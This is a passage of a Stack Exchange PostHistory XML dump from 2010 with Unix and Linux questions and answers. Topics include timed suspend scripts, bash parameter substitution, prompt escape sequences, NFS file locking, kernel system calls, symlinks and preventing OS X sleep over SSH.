1;&#xD;&#xA;    elif [ &quot;$1&quot; = &quot;now&quot; ]; then&#xD;&#xA;        echo &quot;Suspending now!&quot;&#xD;&#xA;        wait=&quot;0&quot;&#xD;&#xA;    else&#xD;&#xA;        #make sure we get a number.&#xD;&#xA;        echo &quot;$1&quot; | grep [a-zA-Z] &gt; /dev/null&#xD;&#xA;        if [ $? -ne 0 ]; then&#xD;&#xA;            echo &quot;Suspending in $1 seconds&quot;&#xD;&#xA;            wait=&quot;$1&quot;&#xD;&#xA;        else&#xD;&#xA;            echo &quot;mysuspend: time in seconds expected&quot;&#xD;&#xA;            exit 1&#xD;&#xA;        fi&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    sleep &quot;$wait&quot;&#xD;&#xA;    $suspend&#xD;&#xA;&#xD;&#xA;**Warning**: I have not tested this beyond &quot;works for me&quot;.&#xD;&#xA;&#xD;&#xA;You may consider changing the suspend command to pm-suspend-hybrid which will also save a hibernation file in case you run out of power while suspended.&#xD;&#xA;&#xD;&#xA;Other utilities that you may be interested in or that could make your script more robust are pm-hibernate, pm-is-supported.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pm-utils.freedesktop.org/wiki/" />
  <row Id="3585" PostHistoryTypeId="2" PostId="1769" RevisionGUID="ca24d3b1-2128-4dc2-88ae-b340ddb31ff5" CreationDate="2010-09-07T21:39:01.620" UserId="1339" Text="Using dirname and basename like mentioned by Michael should be the safest way to get what you want.&#xD;&#xA;&#xD;&#xA;Anyway if you really want to do this with &quot;bash only tools&quot; you could use parameter substitution:&#xD;&#xA;&#xD;&#xA;    echo `basename $PWD`        # Basename of current working directory.&#xD;&#xA;    echo &quot;${PWD##*/}&quot;           # Basename of current working directory.&#xD;&#xA;    echo&#xD;&#xA;    echo `basename $0`          # Name of script.&#xD;&#xA;    echo $0                     # Name of script.&#xD;&#xA;    echo &quot;${0##*/}&quot;             # Name of script.&#xD;&#xA;    echo&#xD;&#xA;    filename=test.data&#xD;&#xA;    echo &quot;${filename##*.}&quot;      # data&#xD;&#xA;                                # Extension of filename.&#xD;&#xA;&#xD;&#xA;This example is directly taken from the [Advanced Bash Scripting Guide][1] which is worth a look.&#xD;&#xA;&#xD;&#xA;The explanation is pretty simple:  &#xD;&#xA;&#xD;&#xA;&gt; ${var#Pattern} Remove from $var the&#xD;&#xA;&gt; shortest part of $Pattern that matches&#xD;&#xA;&gt; the front end of $var. ${var##Pattern}&#xD;&#xA;&gt; Remove from $var the longest part of&#xD;&#xA;&gt; $Pattern that matches the front end of&#xD;&#xA;&gt; $var.&#xD;&#xA;&#xD;&#xA;Look at the pattern like some regex and the `#` or `##` as some kind of greedy/non-greedy modifier.&#xD;&#xA;&#xD;&#xA;This might become useful if you will have to do some more complicated extractions of a paths part.&#xD;&#xA;&#xD;&#xA;  [1]: http://tldp.org/LDP/abs/html/parameter-substitution.html#PSOREX1" />
  <row Id="3586" PostHistoryTypeId="2" PostId="1770" RevisionGUID="219aafe4-0e92-46e2-a000-e5ba0c55f77b" CreationDate="2010-09-07T21:40:28.343" UserId="885" Text="The unix philosophy is to have tools that perform one job, plus the shell to combine them. So we'll combine a suspend command with a do-something-later command. I don't know what the standard command for suspending is on Fedora (there are several floating around); I'll use `pm-suspend` which is the usual command on Ubuntu.&#xD;&#xA;&#xD;&#xA;To suspend after X seconds: `sleep X &amp;&amp; pm-suspend`&#xD;&#xA;&#xD;&#xA;To suspend at a given time: `echo pm-suspend | at HH:MM`&#xD;&#xA;" />
  <row Id="3587" PostHistoryTypeId="2" PostId="1771" RevisionGUID="b78604e9-cc23-4e74-9977-03c04fa0802c" CreationDate="2010-09-07T21:51:53.727" UserId="885" Text="From the bash manual:&#xD;&#xA;&#xD;&#xA;&gt;`\[`    begin a sequence of non-printing characters, which  could be used to embed a terminal control sequence into the prompt  &#xD;&#xA;&gt;`\]`    end a sequence of non-printing characters  &#xD;&#xA;&#xD;&#xA;`\[` and `\]` are not passed to the terminal. They tell bash that the characters between them are not going to be printed. Without them, bash could not know that the sequence following the escape character (e,g. `[32;1m`) does not take up any space on-screen, which explains why it did not compute the length of the prompt correctly when you left them out.&#xD;&#xA;&#xD;&#xA;Note that you haven't been very consistent in your question (or perhaps it's just a mistake with Markdown); you need to have a literal backslash-bracket sequence in `$PS1`, not just a bracket (which would be displayed literally).&#xD;&#xA;&#xD;&#xA;The escape sequences beginning with `\e` are interpreted by the terminal emulator. They are documented in the [Xterm control sequences (ctlseqs)](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms) document (other terminal emulators tend to be mostly compatible). For example, `\e[32;1m` switches to bold and green foreground; `\e[40m` switches the background color to black; `\e[0m` restores the default attributes.&#xD;&#xA;" />
  <row Id="3588" PostHistoryTypeId="6" PostId="1752" RevisionGUID="f8b7dbac-3bbb-466e-8e42-51f7b3b0ebe1" CreationDate="2010-09-07T21:53:44.953" UserId="885" Comment="edited tags" Text="ébashàéosxàépromptà" />
  <row Id="3589" PostHistoryTypeId="6" PostId="1755" RevisionGUID="69260f49-a070-45e3-9878-49fe2918d971" CreationDate="2010-09-07T21:55:05.090" UserId="885" Comment="edited tags" Text="ébashàépromptàéterminalà" />
  <row Id="3590" PostHistoryTypeId="2" PostId="1772" RevisionGUID="7f39b77a-c43c-4a9a-b8c9-d9bcb6ff25ce" CreationDate="2010-09-07T22:02:42.197" UserId="885" Text="As far as I know, there's no way to query the colors of the terminal emulator. You can change them with `\e]4;NUMBER;#RRGGBB\a` (where `NUMBER` is the terminal color number (0–7 for light colors, 8–15 for bright colors) and `#RRGGBB` is a hexadecimal RGB color value) if your terminal supports that sequence (reference: [ctlseqs](http://invisible-island.net/xterm/xterm.faq.html#ctlseqs_ms)).&#xD;&#xA;&#xD;&#xA;Powerful color scheme mechanisms often have a dark or light background setting that you must supply to indicate whether you have a black or dark gray background, or a white or light gray background.&#xD;&#xA;&#xD;&#xA;When you're configuring for yourself, it's usually enough to decide you'll always use the same background color.&#xD;&#xA;" />
  <row Id="3591" PostHistoryTypeId="2" PostId="1773" RevisionGUID="477626b2-bdb8-4a88-a9c9-22aa8e6fb38d" CreationDate="2010-09-07T22:11:38.707" UserId="1294" Text="Most of the significant (including Fedora and Ubuntu) distributions prefer to install from a boot cd-rom or usb-stick these days. Windows need not part of the process at all.&#xD;&#xA;&#xD;&#xA;[Wubi][1] is a windows application that can run Linux from a Windows file pretending to be a boot disk. Its purpose is to be have zero-impact on the Windows system:&#xD;&#xA;&#xD;&#xA;&gt; You keep Windows as it is, Wubi only&#xD;&#xA;&gt; adds an extra option to boot into&#xD;&#xA;&gt; Ubuntu. Wubi does not require you to&#xD;&#xA;&gt; modify the partitions of your PC, or&#xD;&#xA;&gt; to use a different bootloader, and&#xD;&#xA;&gt; does not install special drivers. It&#xD;&#xA;&gt; works just like any other application.&#xD;&#xA;&#xD;&#xA;The [Fedora LiveCD][2] and [Ubuntu LiveCD][3] and even the tiny [DSL LiveCD][4] are the simplest installation methods.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wubi-installer.org/&#xD;&#xA;  [2]: http://fedoraproject.org/get-fedora&#xD;&#xA;  [3]: http://www.ubuntu.com/desktop/get-ubuntu/download&#xD;&#xA;  [4]: http://damnsmalllinux.org/" />
  <row Id="3592" PostHistoryTypeId="6" PostId="1760" RevisionGUID="f95ff42f-1203-4efd-817d-93855c7ef783" CreationDate="2010-09-07T22:21:24.900" UserId="1294" Comment="edited tags" Text="éubuntuàéfedoraàéinstallàébootà" />
  <row Id="3593" PostHistoryTypeId="6" PostId="1759" RevisionGUID="d5e1a346-f29b-4a7d-9bc0-f97eaef0aa42" CreationDate="2010-09-07T22:22:30.827" UserId="1207" Comment="edited tags" Text="écommandölineàéfedoraàésuspendà" />
  <row Id="3594" PostHistoryTypeId="5" PostId="1764" RevisionGUID="151034c6-9a05-4af0-bd89-e7fcaee99d26" CreationDate="2010-09-07T22:42:50.943" UserId="885" Comment="clarify how to see the escape sequence" Text="Figure out exactly what escape sequence your terminal sends for &lt;kbd&gt;Ctrl&lt;/kbd&gt;+arrow by typing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+arrow in insert mode: this will insert the leading `ESC` character (shown as `^[` in vim) literally, followed by the rest of the escape sequence. Then tell vim about these escape sequences with something like&#xD;&#xA;&#xD;&#xA;    map &lt;ESC&gt;[5D &lt;C-Left&gt;&#xD;&#xA;    map &lt;ESC&gt;[5C &lt;C-Right&gt;&#xD;&#xA;    map! &lt;ESC&gt;[5D &lt;C-Left&gt;&#xD;&#xA;    map! &lt;ESC&gt;[5C &lt;C-Right&gt;&#xD;&#xA;&#xD;&#xA;I seem to recall that Putty has a default setting for [Application Cursor Keys mode](http://the.earth.li/~sgtatham/putty/0.60/htmldoc/Chapter4.html#config-appcursor) that's inconvenient (I forget why), you might want to toggle this setting first.&#xD;&#xA;&#xD;&#xA;Note that although escape sequences vary between terminals, conflicts (i.e. an escape sequence that corresponds to different keys in different terminals) are rare, so there's no particular need to try to apply the mappings only on a particular terminal type.&#xD;&#xA;" />
  <row Id="3595" PostHistoryTypeId="5" PostId="1721" RevisionGUID="19b6abcd-134f-430c-a8c4-feeb1021eca3" CreationDate="2010-09-07T22:53:01.713" UserDisplayName="delete" Comment="added 9 characters in body" Text="&gt; There are two major products that came&#xD;&#xA;&gt; out of Berkeley: LSD and UNIX. We&#xD;&#xA;&gt; don't believe this to be a&#xD;&#xA;&gt; coincidence.&#xD;&#xA;&#xD;&#xA;&amp;mdash; Jeremy S. Anderson" />
  <row Id="3596" PostHistoryTypeId="2" PostId="1774" RevisionGUID="867ea39c-48a1-43af-aced-130dd316907e" CreationDate="2010-09-07T23:12:22.947" UserId="1253" Text="Ubuntu install will be basically boot from live cd/usb stick, click through some GUI screens and you are done.&#xD;&#xA;&#xD;&#xA;Only thing to mind is the partitioning which if you want a clean install without dual booting or dual boot with windows is trivial.  (If you already have windows installed.)  &#xD;&#xA;&#xD;&#xA;In fact, I just did a f13 install the other day and it was eerily similar to ubuntu installs.  " />
  <row Id="3597" PostHistoryTypeId="2" PostId="1775" RevisionGUID="1aafb107-d238-446c-bd9c-360abce26abe" CreationDate="2010-09-07T23:27:33.017" UserId="1090" Text="    Sex Drugs and UNIX (Usenix '83)&#xD;&#xA;&#xD;&#xA;From the cover of the book 'A quarter Century of Unix' by Peter H. Salus" />
  <row Id="3598" PostHistoryTypeId="16" PostId="1775" RevisionGUID="1aafb107-d238-446c-bd9c-360abce26abe" CreationDate="2010-09-07T23:27:33.017" UserId="-1" />
  <row Id="3599" PostHistoryTypeId="2" PostId="1776" RevisionGUID="08a545c8-51d3-4814-b625-66629894e014" CreationDate="2010-09-07T23:55:02.523" UserDisplayName="delete" Text="`realpath` is a command which tells you the real path (removes .. and symbolic links etc.)&#xD;&#xA;&#xD;&#xA;It is standard with FreeBSD. According to this discussion it's also available for Linux:&#xD;&#xA;&#xD;&#xA;http://www.unix.com/shell-programming-scripting/89294-geting-real-path.html&#xD;&#xA;&#xD;&#xA;That discussion also offers a bash solution:&#xD;&#xA;&#xD;&#xA;    $ bash -c &quot;cd /foo/../bar/ ; pwd&quot;" />
  <row Id="3600" PostHistoryTypeId="5" PostId="1710" RevisionGUID="cb9ed8ab-30f1-4ad8-afe4-628c490bea7b" CreationDate="2010-09-08T00:35:59.447" UserId="1294" Comment="added added" Text="Your best bet is probably to look at PuTTY's [Application Cursor Keys mode][1] configuration.&#xD;&#xA;&#xD;&#xA;The default sequences send &lt;kbd&gt;ESC&lt;/kbd&gt; as a prefix and `[` followed by `A`ppend or `C`hange or other things throwing you into insert mode.&#xD;&#xA;&#xD;&#xA;added, following Gilles&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;A slightly more explicit version of the ^V escape can be seen with od(1). Here is me typing ^Up, ^Down, ^Right, ^Left at my terminal:&#xD;&#xA;&#xD;&#xA;    $ od -a&#xD;&#xA;    0000000 esc   [   1   ;   5   A esc   [   1   ;   5   B esc   [   1   ;&#xD;&#xA;    0000020   5   C esc   [   1   ;   5   D&#xD;&#xA;&#xD;&#xA;So my terminal sends `^[[1;5A` when I press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;↑&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://the.earth.li/~sgtatham/putty/0.60/htmldoc/Chapter4.html#config-appcursor&#xD;&#xA;" />
  <row Id="3601" PostHistoryTypeId="2" PostId="1777" RevisionGUID="497a3167-96df-41fb-8596-f51f7f4aff77" CreationDate="2010-09-08T02:28:57.880" UserId="1574" Text="The Perl 5.x documentation states that its implementation of flock(..) will use one of the following native calls, starting at 1 and working toward 3 if unavailable:&#xD;&#xA;&#xD;&#xA;1. flock(2)&#xD;&#xA;2. fcntl(2)&#xD;&#xA;3. lockf(3)&#xD;&#xA;&#xD;&#xA;That's fine. However, you may have noticed their disclaimer that flock(2) should not be used over a NFS. The doc suggests using a -Ud_flock flag to force Perl to use flock(2). The man page of flock(2) (on Redhat) states a similar disclaimer about NFS issues.&#xD;&#xA;&#xD;&#xA;**My question is, why!?!? I can't seem to find an in-depth article or explanation of WHY flock(2) is unsafe over a NFS.** &#xD;&#xA;&#xD;&#xA;I've written several test scripts in C and Perl, on both Redhat (where flock(2) is being used) and on Solaris (where fcntl(2) is being used). I ran strace/truss to ensure that Perl was indeed using flock(2) and fcntl(2) respectively. I could not replicate any issues where a lock was not being honored! What gives??" />
  <row Id="3602" PostHistoryTypeId="1" PostId="1777" RevisionGUID="497a3167-96df-41fb-8596-f51f7f4aff77" CreationDate="2010-09-08T02:28:57.880" UserId="1574" Text="flock(2) versus fcntl(2) over a NFS" />
  <row Id="3603" PostHistoryTypeId="3" PostId="1777" RevisionGUID="497a3167-96df-41fb-8596-f51f7f4aff77" CreationDate="2010-09-08T02:28:57.880" UserId="1574" Text="éunixàéscriptingàénfsà" />
  <row Id="3604" PostHistoryTypeId="5" PostId="1752" RevisionGUID="f0d6e0f5-8cfd-4bc4-9c90-159023f6c570" CreationDate="2010-09-08T03:09:21.290" UserId="1090" Comment="edited body" Text="I'm trying to make PS1 configured as follows.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Green=&quot;\[\e[32;1m\]&quot;&#xD;&#xA;Red=&quot;\e[0;31m&quot;&#xD;&#xA;Purple=&quot;\e[0;35m&quot;&#xD;&#xA;STARTCOLOR=&quot;\[\e[40m\]&quot;&#xD;&#xA;ENDCOLOR=&quot;\[\e[0m\]&quot;&#xD;&#xA;export PS1=&quot;$STARTCOLOR$Green\u@$Purple\h $Red\w$Green&gt;$ENDCOLOR &quot;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;And I have some questions.&#xD;&#xA;&#xD;&#xA; * What's the difference between &quot;\[\e[32;1m\]&quot; and \e[32;1m&quot;? Are they the same?&#xD;&#xA; * After running the 'export PS1' command, it works well, but when I give the input around 20 characters, the characters are overwritten as I attached. What's wrong with this?&#xD;&#xA; * What's the meaning of STARTCOLOR(\e[40m)/ENDCOLOR(\e[0m)?&#xD;&#xA;&#xD;&#xA;&lt;img src=&quot;http://a.imageshack.us/img8/606/resultqm.jpg&quot;/&gt;&#xD;&#xA;&#xD;&#xA;## ADDED&#xD;&#xA;After some tests, I got the following change could solve the problem. That is, the &quot;\e&quot; format should be replaced by &quot;\\[\e&quot; format. &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Red=&quot;\\e[1;31m&quot; -- not working&#xD;&#xA;Red=&quot;\[\e[1;31m\]&quot; -- working&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="3605" PostHistoryTypeId="2" PostId="1778" RevisionGUID="6817def9-bdbc-4e08-b7b0-0a063600beba" CreationDate="2010-09-08T04:02:48.877" UserId="1294" Text="I'm pretty sure that you are looking at legacy concerns. Recall that the Perl5 manual was released in 1994 and that it was just an edit of Perl4's manual from 1991. In those days it could probably be said about the oft-named Nightmare File System that &quot;it isn't how well the bear dances that amazes, but that it dances at all&quot;.&#xD;&#xA;&#xD;&#xA;NFS2 in the 1991 epoch was slowly crawling out of Sun into other platforms and was relatively crude. The security model was essentially non-existent (root on a client machine could read the full contents of an NFS mount) and locking - via nfs.lockd - was this side of experimental. You would have been foolish to expect flock semantics to work properly if at all between two different allegedly interoperable implementations. Coax was the dominant Ethernet PHY at the time which many network users have never had the displeasure of using (what do you mean you forgot to put the 50𝛀 termination resistor on?) if that gives you a better grip on the state of intranets then.&#xD;&#xA;&#xD;&#xA;Larry Wall and crew had every reason to make pessimistic assumptions about the correctness of NFS locks at the time, and this is the sort of defensive programming that future code jockeys are loathe to remove because it is so hard to prove the absence of a defect by removing old code which is re-introduced in interoperability with a legacy system that you never even heard of.&#xD;&#xA;&#xD;&#xA;Since then, NFS has improved considerably, and lockd has migrated in time to a feature of the Linux 2.6 kernel. For a collection of 2003+ systems, NFS file locking can probably be trusted, especially if tested well within your application across the many platforms it may be running on.&#xD;&#xA;&#xD;&#xA;All of the above was cribbed from memory, and could likely be substantiated through research (e.g. http://nfs.sourceforge.net/) but the proof - as they say - is in the locking, and if you didn't test it, it is presumed broken." />
  <row Id="3606" PostHistoryTypeId="6" PostId="1777" RevisionGUID="c3bbd280-c0fd-4e9c-848b-385dccf9ca6b" CreationDate="2010-09-08T06:23:50.237" UserId="1207" Comment="edited tags" Text="éunixàéscriptingàénfsàésystemöcallsà" />
  <row Id="3607" PostHistoryTypeId="6" PostId="1752" RevisionGUID="546a1f69-a52d-44c0-a999-21bb020952fd" CreationDate="2010-09-08T08:55:54.393" UserId="272" Comment="edited tags" Text="ébashàépromptà" />
  <row Id="3608" PostHistoryTypeId="5" PostId="804" RevisionGUID="359385ff-4950-4325-9437-a8c4345ab928" CreationDate="2010-09-08T10:12:16.550" UserId="138" Comment="typo fix" Text="System calls aren't handled like regular function calls.  It takes special code to make the transition from user space to kernel space, basically a bit of inline assembly code injected into your program at the call site.  The kernel side code that &quot;catches&quot; the system call is also low-level stuff you probably don't need to understand deeply, at least at first.&#xD;&#xA;&#xD;&#xA;In `include/linux/syscalls.h` under your kernel source directory, you find this:&#xD;&#xA;&#xD;&#xA;    asmlinkage long sys_mkdir(const char __user *pathname, int mode);&#xD;&#xA;&#xD;&#xA;Then in `/usr/include/asm*/unistd.h`, you find this:&#xD;&#xA;&#xD;&#xA;    #define __NR_mkdir                              83&#xD;&#xA;    __SYSCALL(__NR_mkdir, sys_mkdir)&#xD;&#xA;&#xD;&#xA;This code is saying mkdir(2) is system call #83.  That is to say, system calls are called by number, not by address as with normal functions, because it's not really a function in the way you understand it.  The inline assembly glue code I mentioned above uses this to make the transition from user to kernel space, taking your parameters along with it.  Another bit of evidence that things are a little weird here is that there isn't always a strict parameter list for system calls: `open(2)`, for instance, can take either 2 or 3 parameters, a trick C++ knows how to do, but C doesn't, yet the syscall interface is nominally C-compatible.&#xD;&#xA;&#xD;&#xA;To answer your first question, there is no single file where `mkdir()` exists.  Linux supports many different file systems and each one has its own implementation of the &quot;mkdir&quot; operation.  The abstraction layer that lets the kernel hide all that behind a single system call is called the VFS.  So, you probably want to start digging in `fs/namei.c`, with `vfs_mkdir()`.  The actual implementations of the low-level file system modifying code are elsewhere.  For instance, the ext3 implementation is called `ext3_mkdir()`, defined in `fs/ext3/namei.c`.&#xD;&#xA;&#xD;&#xA;As for your second question, yes there are patterns to all this, but not a single rule.  What you actually need is a fairly broad understanding of how the kernel works in order to figure out where you should look for any particular system call.  Not all system calls involve the VFS, so their kernel-side call chains don't all start in `fs/namei.c`.  `mmap(2)`, for instance, starts in `mm/mmap.c`, because it's part of the memory management (&quot;mm&quot;) subsystem of the kernel.&#xD;&#xA;&#xD;&#xA;I recommend you get a copy of &quot;&lt;a href=&quot;http://oreilly.com/catalog/9780596000028&quot;&gt;Understanding the Linux Kernel&lt;/a&gt;&quot; by Bovet and Cesati." />
  <row Id="3610" PostHistoryTypeId="2" PostId="1779" RevisionGUID="446587a8-60cd-47bd-bb91-2a0865f7ff02" CreationDate="2010-09-08T11:13:25.697" UserId="1447" Text="From Linus Torvalds : &quot;Software is like sex: it's better when it's free&quot;." />
  <row Id="3611" PostHistoryTypeId="16" PostId="1779" RevisionGUID="446587a8-60cd-47bd-bb91-2a0865f7ff02" CreationDate="2010-09-08T11:13:25.697" UserId="-1" />
  <row Id="3612" PostHistoryTypeId="2" PostId="1780" RevisionGUID="ed3cf80b-f3c4-4141-b113-78c79a45b0b7" CreationDate="2010-09-08T14:11:12.180" UserId="80" Text="Less has a lot more functionality.&#xD;&#xA;&#xD;&#xA;You can use `v` to jump into the current $EDITOR.  You can convert to tail -f mode with `f` as well as all the other tips others offered." />
  <row Id="3613" PostHistoryTypeId="2" PostId="1781" RevisionGUID="f3482030-758b-4abd-a5a0-ea65aa27a69d" CreationDate="2010-09-08T14:14:38.157" UserId="1090" Text="Let's say /A/B/c.sh is symbolic linked to /X/Y/c.sh.&#xD;&#xA;&#xD;&#xA; * If c.sh has the command &quot;./SOMETHING&quot;, '.' means /A/B/ or /X/Y/?&#xD;&#xA; * How about the hard link? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="3614" PostHistoryTypeId="1" PostId="1781" RevisionGUID="f3482030-758b-4abd-a5a0-ea65aa27a69d" CreationDate="2010-09-08T14:14:38.157" UserId="1090" Text="Symbolic link and hard link questions" />
  <row Id="3615" PostHistoryTypeId="3" PostId="1781" RevisionGUID="f3482030-758b-4abd-a5a0-ea65aa27a69d" CreationDate="2010-09-08T14:14:38.157" UserId="1090" Text="ésymlinkà" />
  <row Id="3616" PostHistoryTypeId="2" PostId="1782" RevisionGUID="baa5119c-c41d-408b-80cd-fa39a1c69a34" CreationDate="2010-09-08T14:31:42.853" UserId="73" Text="`.` is actually the current working directory in either case; it has nothing to do with the directory holding the script:&#xD;&#xA;&#xD;&#xA;    [/tmp] $ echo &quot;realpath .&quot; &gt; test.sh &amp;&amp; chmod +x test.sh&#xD;&#xA;    [/tmp] $ /tmp/test.sh&#xD;&#xA;    /tmp&#xD;&#xA;    [/tmp] $ cd /usr/bin&#xD;&#xA;    [/usr/bin] $ /tmp/test.sh&#xD;&#xA;    /usr/bin&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3617" PostHistoryTypeId="2" PostId="1783" RevisionGUID="c1937829-4204-418b-92d8-3f68c40e4ced" CreationDate="2010-09-08T15:04:29.953" UserId="1257" Text="I agree with Michael, but one place where it may matter is `$0` parameter.&#xD;&#xA;&#xD;&#xA;I've seen scripts that investigate the name of `$0` and do different things based upon what symbolic name is used.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3618" PostHistoryTypeId="2" PostId="1784" RevisionGUID="05b79487-ad6c-4460-9398-2ea6c2aff464" CreationDate="2010-09-08T15:09:14.553" UserId="160" Text="The `.` in this case means the current working directly; the links' paths are irrelevant.  Referencing the file for execution or editing is essentially the same regardless of the type of link, even though there are several [differences](http://stackoverflow.com/questions/185899/what-is-the-difference-between-a-symbolic-link-and-a-hard-link) between them." />
  <row Id="3619" PostHistoryTypeId="2" PostId="1785" RevisionGUID="6142cc27-214e-44e7-aefe-d3b8825b347d" CreationDate="2010-09-08T15:55:32.013" UserId="1327" Text="What **resources** are available if I wanted to *develop*, *change* and *understand* **device drivers**. " />
  <row Id="3620" PostHistoryTypeId="1" PostId="1785" RevisionGUID="6142cc27-214e-44e7-aefe-d3b8825b347d" CreationDate="2010-09-08T15:55:32.013" UserId="1327" Text="resource for understanding the kernel and drivers" />
  <row Id="3621" PostHistoryTypeId="3" PostId="1785" RevisionGUID="6142cc27-214e-44e7-aefe-d3b8825b347d" CreationDate="2010-09-08T15:55:32.013" UserId="1327" Text="édriversà" />
  <row Id="3622" PostHistoryTypeId="6" PostId="1785" RevisionGUID="0c1048f2-fcb0-4cc0-aa0d-cc452c606893" CreationDate="2010-09-08T16:12:20.433" UserId="29" Comment="add linux tag" Text="élinuxàédriversà" />
  <row Id="3623" PostHistoryTypeId="2" PostId="1786" RevisionGUID="a05b0afe-fe1a-4e8d-9d94-9b7728957e17" CreationDate="2010-09-08T16:35:58.033" UserId="1327" Text="When I *ssh* into a **OS X** computer on my network the session lasts until the **OS X** goes into **sleep** mode.&#xD;&#xA;&#xD;&#xA;Is there a way to prevent this from happening during my *SSH* session? ( Appart from physically bumping the mouse or typing keys, or manually disabling the sleep function )" />
  <row Id="3624" PostHistoryTypeId="1" PostId="1786" RevisionGUID="a05b0afe-fe1a-4e8d-9d94-9b7728957e17" CreationDate="2010-09-08T16:35:58.033" UserId="1327" Text="OS X: how to keep the computer from sleeping during a ssh session" />
  <row Id="3625" PostHistoryTypeId="3" PostId="1786" RevisionGUID="a05b0afe-fe1a-4e8d-9d94-9b7728957e17" CreationDate="2010-09-08T16:35:58.033" UserId="1327" Text="éosxàésshà" />
  <row Id="3626" PostHistoryTypeId="10" PostId="1658" RevisionGUID="ac96b198-b7cc-4de0-af37-188860507ae1" CreationDate="2010-09-08T16:39:50.397" UserId="-1" CloseReasonId="3" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:85,&quot;DisplayName&quot;:&quot;Sandy&quot;},{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="3627" PostHistoryTypeId="18" PostId="1785" RevisionGUID="e56a0495-c45c-4509-915c-006f73ffff63" CreationDate="2010-09-08T16:47:45.917" UserId="29" Comment="to http://unix.stackexchange.com/questions/1003/linux-kernel-good-beginners-tutorial" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="3628" PostHistoryTypeId="18" PostId="1003" RevisionGUID="e56a0495-c45c-4509-915c-006f73ffff63" CreationDate="2010-09-08T16:47:45.917" UserId="29" Comment="from http://unix.stackexchange.com/questions/1785/resource-for-understanding-the-kernel-and-drivers" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="3629" PostHistoryTypeId="14" PostId="1785" RevisionGUID="f685f36e-67a4-456e-8d19-2efc5565fb2c" CreationDate="2010-09-08T16:47:46.073" UserId="29" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="3630" PostHistoryTypeId="2" PostId="1787" RevisionGUID="cc55909a-bfca-4985-b213-c25d8f1926f7" CreationDate="2010-09-08T17:05:33.043" UserId="1339" Text="This is not a out-of-the-box solution but it will possibly work if no one other comes up with a solution :-)&#xD;&#xA;&#xD;&#xA;You can manipulate the power management settings with the command `pmset`. See the [manpage][1] for more information about it.&#xD;&#xA;&#xD;&#xA;The interesting setting we want to manipulate is *sleep*:     &#xD;&#xA;&#xD;&#xA;&gt; sleep - system sleep timer (value in&#xD;&#xA;&gt; minutes, or 0 to disable)&#xD;&#xA;&#xD;&#xA;So we can use the following commands:&#xD;&#xA;&#xD;&#xA;    sudo pmset sleep 25      # go to sleep after 25 minutes&#xD;&#xA;    sudo pmset sleep 0       # disable sleep&#xD;&#xA;&#xD;&#xA;Now we have to trigger these commands after a login and logut. If I remember this right, Bash is the default shell for Mac OS X which brings us to these two files:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;        ~/.bash_profile&#xD;&#xA;&gt;               The personal initialization file, executed for login shells&#xD;&#xA;&gt;        ~/.bash_logout&#xD;&#xA;&gt;               The individual login shell cleanup file, executed when a login shell exits&#xD;&#xA;&#xD;&#xA;Edit or create them in your home directory and add the appropriate commands.&#xD;&#xA;If you want, save the current sleep value in a temporary file and restore it from it afterwards.&#xD;&#xA;&#xD;&#xA;The last problem to solve is the password prompt of sudo. To give your user the permission to invoke pmset without any password, edit your /etc/sudoers with sudoedit.&#xD;&#xA;You need to use the `NOPASSWD` tag. If this is new for you, have a look at the [sudoers manual][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/man1/pmset.1.html&#xD;&#xA;  [2]: http://www.sudo.ws/sudo/sudoers.man.html" />
  <row Id="3631" PostHistoryTypeId="2" PostId="1788" RevisionGUID="5d1c8e5a-2726-4220-98bc-eae52cbe7b44" CreationDate="2010-09-08T18:47:44.397" UserId="160" Text="Consider:&#xD;&#xA;&#xD;&#xA;    foo&#xD;&#xA;    bar&#xD;&#xA;    ....&#xD;&#xA;    bar&#xD;&#xA;    baz&#xD;&#xA;&#xD;&#xA;Then:&#xD;&#xA;&#xD;&#xA;    :g/bar/s/\n/\r\r/g&#xD;&#xA;&#xD;&#xA;unexpectedly returns:&#xD;&#xA;&#xD;&#xA;    foo&#xD;&#xA;    bar&#xD;&#xA;&#xD;&#xA;    bar&#xD;&#xA;    bar&#xD;&#xA;&#xD;&#xA;    bar&#xD;&#xA;    bar&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    baz&#xD;&#xA;&#xD;&#xA;when I want newlines after every `bar`.  Yet:&#xD;&#xA;&#xD;&#xA;    :g/bar/p&#xD;&#xA;&#xD;&#xA;returns:&#xD;&#xA;&#xD;&#xA;    bar&#xD;&#xA;    bar&#xD;&#xA;    ...&#xD;&#xA;    bar&#xD;&#xA;&#xD;&#xA;as expected and if there are newlines between all the `bar`s I get what I expect--an extra newline after every line containing `bar`. I solved the problem by via:&#xD;&#xA;&#xD;&#xA;    :%s/\(bar.*\)\n/\1\r\r/g&#xD;&#xA;&#xD;&#xA;but I'd really like to have a better understanding on what's going on." />
